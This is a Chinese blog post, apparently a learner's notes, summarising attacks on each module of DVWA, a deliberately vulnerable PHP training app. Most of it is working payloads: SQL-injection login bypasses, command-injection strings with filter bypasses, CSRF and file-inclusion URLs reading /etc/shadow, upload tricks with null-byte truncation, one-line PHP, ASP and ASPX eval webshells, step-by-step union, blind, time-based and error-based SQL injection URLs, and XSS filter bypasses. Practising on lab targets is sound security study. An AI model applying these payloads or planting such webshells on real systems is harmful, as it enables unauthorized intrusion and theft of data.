web安全之dvwa总结

为了学习web安全,决定从dvwa开始,dvwa的安装参考。

1、DVWA简介

DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web应用,旨在为安全专业人员测试自己的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。

DVWA共有十个模块,分别是:

  • Brute Force(暴力(破解))
  • Command Injection(命令行注入)
  • CSRF(跨站请求伪造)
  • File Inclusion(文件包含)
  • File Upload(文件上传)
  • Insecure CAPTCHA (不安全的验证码)
  • SQL Injection(SQL注入)
  • SQL Injection(Blind)(SQL盲注)
  • XSS(Reflected)(反射型跨站脚本)
  • XSS(Stored)(存储型跨站脚本)

2、web安全总结

1.暴力破解


【1】bp暴力破解,手工sql注入
        1. Username:admin’ or ’1′=’1  
            Password:(空)
        2. Username :admin’ #
            Password :(空)

万能密码:'OR 1=1 OR '1'='1

2.命令执行


【1】127.0.0.1&&net user
【2】可以看到,相比Low级别的代码,服务器端对ip参数做了一定过滤,即把”&&” 、”;”删除,本质上采用的是黑名单机制,因此依旧存在安全问题。
漏洞利用:(1)127.0.0.1&net user(2)127.0.0.1&;&ipconfig
【3】黑名单看似过滤了所有的非法字符,但仔细观察到是把”| ”(注意这里|后有一个空格)替换为空字符,于是 ”|”成了“漏网之鱼”
漏洞利用:127.0.0.1|net user

3.CSRF


【1】http://192.168.153.130/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#
【2】检查了保留变量 HTTP_REFERER(http包头的Referer参数的值,表示来源地址)中是否包含SERVER_NAME(http包头的Host参数,及要访问的主机名,这里是192.168.153.130),希望通过这种机制抵御CSRF攻击。
漏洞利用:
http://192.168.153.130/dvwa/192.168.153.130.html,页面被放置在攻击者的服务器里,这里是10.4.253.2)

4.文件包含
【1】http://192.168.153.130/dvwa/vulnerabilities/fi/page=/etc/shadow
【2】使用str_replace函数是极其不安全的,因为可以使用双写绕过替换规则。例如page=hthttp://tp://192.168.5.12/phpinfo.txt时,str_replace函数会将http://删除,于是page=http://192.168.5.12/phpinfo.txt,成功执行远程命令。
【3】High级别的代码规定只能包含file开头的文件,看似安全,不幸的是我们依然可以利用file协议绕过防护策略。file协议其实我们并不陌生,当我们用浏览器打开一个本地文件时,用的就是file协议,http://192.168.153.130/dvwa/vulnerabilities/fi/page=file:///C:/xampp/htdocs/dvwa/php.ini

5.文件上传
【1】直接上传
【2】·文件包含利用:http://192.168.153.130/dvwa/vulnerabilities/fi/?page=hthttp://tp://192.168.153.130/dvwa/hackable/uploads/hack.png
         ·修改文件类型,上传文件名为hack.png,文件类型为image/png,尝试修改filename为hack.php,此外还有00截断(bp修改.的2e为00)
         ·在php版本小于5.3.4的服务器中,当Magic_quote_gpc选项为off时,可以在文件名中使用%00截断,所以可以把上传文件命名为hack.php%00.png
【3】首先利用copy将一句话木马文件php.php与图片文件1.jpg合并,生成的文件hack.jpg,顺利通过文件头检查,可以成功上传。

asp的一句话是:
<%eval request ("abin")%>
aspx的一句话是:
<%@ Page Language="Jscript"%> <%eval(Request.Item["abin"],"unsafe");%>
php的一句话是:
<?php @eval($_POST['abin']);?>

6.sql注入

 · 由于是数字型注入,服务器端的mysql_real_escape_string函数就形同虚设了,因为数字型注入并不需要借助引号。
 · 因为单引号被转义了,变成了\’,可以利用16进制进行绕过,抓包更改参数id为1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0×7573657273 #
 · 虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。

6.1内联注入-->
【1】注入个数:http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1%27+or+1%3D1+order+by+1%23&Submit=Submit#
【2】注入点:http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1%27+union+select+1,2%23&Submit=Submit#
【3】数据库:http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1%27+union+select+database(),2%23&Submit=Submit#
【4】表:http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1%27+union+select+1,+group_concat(table_name)+from+information_schema.tables+where+table_schema%3Ddatabase()%23&Submit=Submit#
【5】列:http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1%27+union+select+1,+group_concat(column_name)+from+information_schema.columns+where+table_name%3D%27users%27%23&Submit=Submit#
【6】值:http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1%27+union+select+group_concat(user_id,first_name,last_name),group_concat(user,password)+from+users%23&Submit=Submit#

另外的版本:

【1】表名:?id=1 and 1=2 union select 1,2,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,1-- ss
【2】字段名: ?id=1 and 1=2 Union select 1,2,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=0x666c6167 limit 1,1-- ss
【3】内容:字段内容: ?id=1 and 1=2 union select 1,id,flag from flag-- ss

6.2布尔注入-->
【1】看是否存在盲注漏洞:
http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1%27+and+1%3D1+%23&Submit=Submit#
http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1%27+and+1%3D2+%23&Submit=Submit#
【2】猜数据库名长度:
http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1%27+and+length(database())%3D1+%23&Submit=Submit#
http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1%27+and+length(database())%3D4+%23&Submit=Submit#
【3】猜测数据库名第一个字母:
http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1%27+and+ascii(substr(database(),1,1))%3E97+%23&Submit=Submit#
http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1%27+and+ascii(substr(database(),1,1))%3C122+%23&Submit=Submit#
http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1%27+and+ascii(substr(database(),1,1))%3C101+%23&Submit=Submit#
ascii为100:d
同理,得到:dvwa
【4】猜表的个数:
http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1'+and+(select+count(table_name)+from+information_schema.tables+where+table_schema%3Ddatabase())%3D1+%23&submit=submit#
http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1%27+and+(select+count(table_name)+from+information_schema.tables+where+table_schema%3Ddatabase())%3D2+%23&Submit=Submit#
表的个数为:2
【5】猜每个表的名字:
http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1%27+and+length(substr((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))%3D9+%23&Submit=Submit#
第一个表名长度为:9
http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1%27+and+ascii(substr((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1,1))<104+%23&Submit=Submit#
第一个表名第一个字母为:ascii(103)即g
同理,得到两个表名字为:guestbook、users
下面链接用于判断users表的第二个字母s
http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1%27+and+ascii(substr((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+1,1),2,1))<115+%23&Submit=Submit#
【6】猜解字段名称:
http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1%27+and+length(substr((select+column_name+from+information_schema.columns+where+table_name=%27users%27+limit+0,1),1))%3D7+%23&Submit=Submit#
长度为:7
http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1%27+and+ascii(substr((select+column_name+from+information_schema.columns+where+table_name='users'+limit+0,1),1,1))<117+%23&Submit=Submit#
第一个为ascii(117)即u
【7】猜解字段内容:
http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1%27+and+length(substr((select+user_id+from+users+limit+0,1),1))%3D1+%23&Submit=Submit#
user_id内容长度为:1
http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1%27+and+ascii(substr((select+user_id+from+users+limit+0,1),1,1))>49+%23&Submit=Submit#
内容为:1
同理,测试出其他字段的值。

6.3时间延迟注入-->
判断是否存在注入:http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/?id=1%27%20and%20sleep(5)%20#&Submit=Submit#

【1】抓包改参数id为1 and if(length(database())=4,sleep(5),1) #,明显延迟,说明数据库名的长度为4个字符;
【2】抓包改参数id为1 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #,明显延迟,说明数据中的第一个表名长度为9个字符;
【3】抓包改参数id为1 and if((select count(column_name) from information_schema.columns where table_name=0×7573657273 )=8,sleep(5),1) #,明显延迟,说明uers表有8个字段。

6.4报错注入-->
【1】username=&password=' or exp(~(select * from (select group_concat(table_name) from information_schema.tables where table_schema regexp database())a)) or '
【2】username=&password=' or exp(~(select * from (select group_concat(column_name) from information_schema.columns where table_name regexp 'ffll44jj')a)) or '

High级别的代码利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时在 SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。

【1】抓包将cookie中参数id改为1’ and length(database())=4 #,显示存在,说明数据库名的长度为4个字符;
【2】抓包将cookie中参数id改为1’ and length(substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,显示存在,说明数据中的第一个表名长度为9个字符;
【3】抓包将cookie中参数id改为1’ and (select count(column_name) from information_schema.columns where table_name=0×7573657273)=8 #,(0×7573657273 为users的16进制),显示存在,说明uers表有8个字段。

7.xss(reflected)
【1】输入<script>alert(/xss/)</script>
【2】· 双写绕过,输入<sc<script>ript>alert(/xss/)</script>
         · 大小写混淆绕过,输入<ScRipt>alert(/xss/)</script>
【3】虽然无法使用<script>标签注入XSS代码,但是可以通过img、body等标签的事件或者iframe等标签的src注入恶意的js代码。输入<img src=1 onerror=alert(/xss/)>

8.xss(stored)
【1】输入<script>alert(/xss/)</script>,成功弹框.
【2】· 抓包改name参数为<sc<script>ript>alert(/xss/)</script>
         · 抓包改name参数为<Script>alert(/xss/)</script>
【3】使用正则表达式过滤了<script>标签,但是却忽略了img、iframe等其它危险的标签。抓包改name参数为<img src=1 onerror=alert(1)>

内容稍有凌乱,过段时间整理更详细的。

猜你喜欢

转载自blog.csdn.net/t1506376703/article/details/81138805